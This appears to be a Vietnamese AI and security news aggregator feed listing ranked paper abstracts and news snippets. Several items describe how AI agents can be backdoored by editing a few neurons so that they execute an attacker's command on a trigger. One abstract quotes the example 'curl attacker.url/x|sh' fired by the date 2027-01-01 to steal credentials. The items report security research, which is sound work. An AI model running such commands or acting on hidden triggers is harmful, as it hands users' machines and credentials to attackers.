cập nhật 1 giờ trước

⏱ Độ trễ thật của tab này: trung bình 7.3 giờ sau khi CVE được công bố (n = 5334, sớm nhất 0.1 giờ). Số âm nghĩa là ta thấy trước ngày công bố.

31
Aligning AI Teams
📄 Paper arXiv cs.AI 19 giờ trước

arXiv:2611.17820v1 Announce Type: new Abstract: Previous work has shown that alignment training on individual LLM agents can fail to transfer to multi-agent settings. We investigate the underlying mechanisms for this failure, and explore interventions to preserve alignment trans…

🅲 hạng C
31
Cyber-Zero: Training Cybersecurity Agents without Runtime
📄 Paper arXiv cs.CR 19 giờ trước

arXiv:2508.00910v3 Announce Type: replace Abstract: Large Language Models (LLMs) have achieved remarkable success in software engineering tasks when trained with executable runtime environments, particularly in resolving GitHub issues. However, such runtime environments are ofte…

🅲 hạng C
28
Aligning AI Teams
📄 Paper HF Daily Papers 4 ngày trước

Previous work has shown that alignment training on individual LLM agents can fail to transfer to multi-agent settings. We investigate the underlying mechanisms for this failure, and explore interventions to preserve alignment transfer to multi-agent LLM teams. We focus on two sof…

🅲 hạng C
28
Microsoft researchers demonstrate hidden backdoor technique for AI agents
🛡️ Tin bảo mật Help Net Security 5 ngày trước

Microsoft researchers have demonstrated how small changes to an AI model can implant a hidden backdoor, causing an agent to execute an attacker’s command when a specific trigger appears. The technique, called Lazarus, requires no model retraining and allows the agent to behave no…

🅱 hạng B
👁 Trúng danh sách theo dõi: actor:lazarus
28
Tail-risk-aware Agent Safety: Constraining Tail Risks Across Multi-step LLM Agent Workflows
📄 Paper arXiv cs.AI 6 ngày trước

arXiv:2611.10411v1 Announce Type: new Abstract: LLM-based agents extend LLMs with tool calls, memory, planning, and retrieval to act in external environments, but they are vulnerable to attacks at different workflow steps. Existing defenses, including prompt engineering and post…

🅲 hạng C
27
Luisacaotica/ComfyUI-MiniMaxH3Mod
🛠️ Công cụ AI ComfyUI & node (top) 2 ngày trước ⭐ 628 Python 📄 MIT

🧩 Chức năng: Hậu kỳ & ghép (ComfyUI, upscale, nội suy khung, phụ đề)

Custom node cho ComfyUI hỗ trợ RefMod (reference adapters) cho mô hình MiniMax H3 mà không cần training. Đây là giải pháp hữu ích để nén ảnh/video tham chiếu thành latents nhỏ gọn cho các tác vụ AI video.

🅲 hạng C
⚠️ Đang trong giai đoạn phát triển (under construction)
25
Envisioning Agentic Robotics: A New Era of Robotic Systems
📄 Paper HF Daily Papers 4 ngày trước

The release of GPT-6 Astra marks the emergence of a new paradigm in robotics: agentic robotics. Within weeks, frontier models with agentic harnesses matched or exceeded task-specific policies on many embodied benchmarks. Instead of training a dedicated policy for each family of t…

🅲 hạng C
24
G-CAST: Governed Continual Self-Training for E-Commerce Agents under Evolving Demands
📄 Paper arXiv cs.AI 19 giờ trước cũng có trên: HF Daily Papers

arXiv:2611.17814v1 Announce Type: new Abstract: With the rapid advancement of Large Language Models (LLMs), an increasing number of users are turning to LLM-powered agents for conversational shopping in e-commerce. However, the user needs continue to change as new product catego…

🅲 hạng C
24
Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents
📄 Paper arXiv cs.CR 3 ngày trước

arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with p…

🅲 hạng C
👁 Trúng danh sách theo dõi: actor:lazarus
24
Microsoft Researchers Show AI Agents Can Be Backdoored by Editing Fewer Than 10 Neurons
🛡️ Tin bảo mật The Hacker News 5 ngày trước

An AI model can be given a hidden backdoor by editing fewer than 10 of its rarely used neurons, without retraining the model, Microsoft researchers have shown. When a chosen trigger appears, the model outputs an attacker's command, which an agent using that model would run with …

🅱 hạng B
23
LoRAWeaver: Directional Adapter Routing in LoRA Representation Space
📄 Paper arXiv cs.AI 19 giờ trước

arXiv:2611.17340v1 Announce Type: new Abstract: Large language models are expensive to update through full retraining. Parameter-efficient fine-tuning reduces the cost of adaptation, but repeated adaptation creates a growing pool of task-specific LoRA adapters. This pool complic…

🅲 hạng C
23
An Operationalization of Opaque Serial Depth
📄 Paper arXiv cs.AI 19 giờ trước

arXiv:2611.17495v1 Announce Type: new Abstract: Chain-of-thought (CoT) is currently a valuable tool for overseeing AI models, but some architectural shifts could significantly reduce CoT monitorability. We operationalize a measure that serves as a proxy for the amount of unverba…

🅲 hạng C
23
Model Annealing: Data-Efficient Learning through Review and Consolidation
📄 Paper arXiv cs.AI 19 giờ trước

arXiv:2611.17524v1 Announce Type: new Abstract: A small labelled dataset is memorized long before the training budget runs out, and the one-hot labels that remain to be fitted then mostly sharpen confidence. Model annealing spends the rest of the budget on review and consolidati…

🅲 hạng C
23
A Spectral Framework for Universal Proxy Regularization in Model Merging
📄 Paper arXiv cs.AI 19 giờ trước

arXiv:2611.17728v1 Announce Type: new Abstract: Model merging constructs multi-task models without expensive joint training but often suffers from parameter interference. Some solutions mitigate this by constraining finetuning using data from the other tasks to be merged, violat…

🅲 hạng C
23
Representational Geometry as a Diagnostic for Adversarial Robustness
📄 Paper arXiv cs.CR 19 giờ trước

arXiv:2611.17684v1 Announce Type: cross Abstract: Adversarial training is a common technique for making neural networks more robust to small, intentionally crafted input perturbations, and robustness is commonly measured through accuracy under attack. By exploring inter-network …

🅲 hạng C
23
Model-Based Authoring of SOC Simulation Exercises for Cybersecurity Education
📄 Paper arXiv cs.CR 5 ngày trước

arXiv:2611.14227v1 Announce Type: new Abstract: Cybersecurity training and classroom exercises with a virtual Security Operations Center (SOC) combine alerts, evidence, timeline entries, learner tasks, and assessment items that must remain consistent across an evolving incident.…

🅲 hạng C
23
Ensemble Routing for Prompt-Adaptive Cost-Aware LLM Inference
📄 Paper arXiv cs.AI 6 ngày trước cũng có trên: HF Daily Papers

arXiv:2611.10193v1 Announce Type: new Abstract: Large language models (LLMs) increasingly support Web-based services that must balance response quality and inference cost across heterogeneous requests. Conventional routing selects one model per prompt, while fixed ensembles cann…

🅲 hạng C
23
Anthropic's Claude Fable 5.2 Beats GPT-6 Cyber in Multi-Stage Cyberattack Benchmark
🛡️ Tin bảo mật The Hacker News 6 ngày trước

Anthropic on Monday released Claude Fable 5.2 and Claude Mythos 5.2 models, which it said exhibit improvements in coding, reasoning, and vision. During pre-release training, the large language models (LLMs) helped its engineers "complete otherwise-infeasible software migrations,…

🅱 hạng B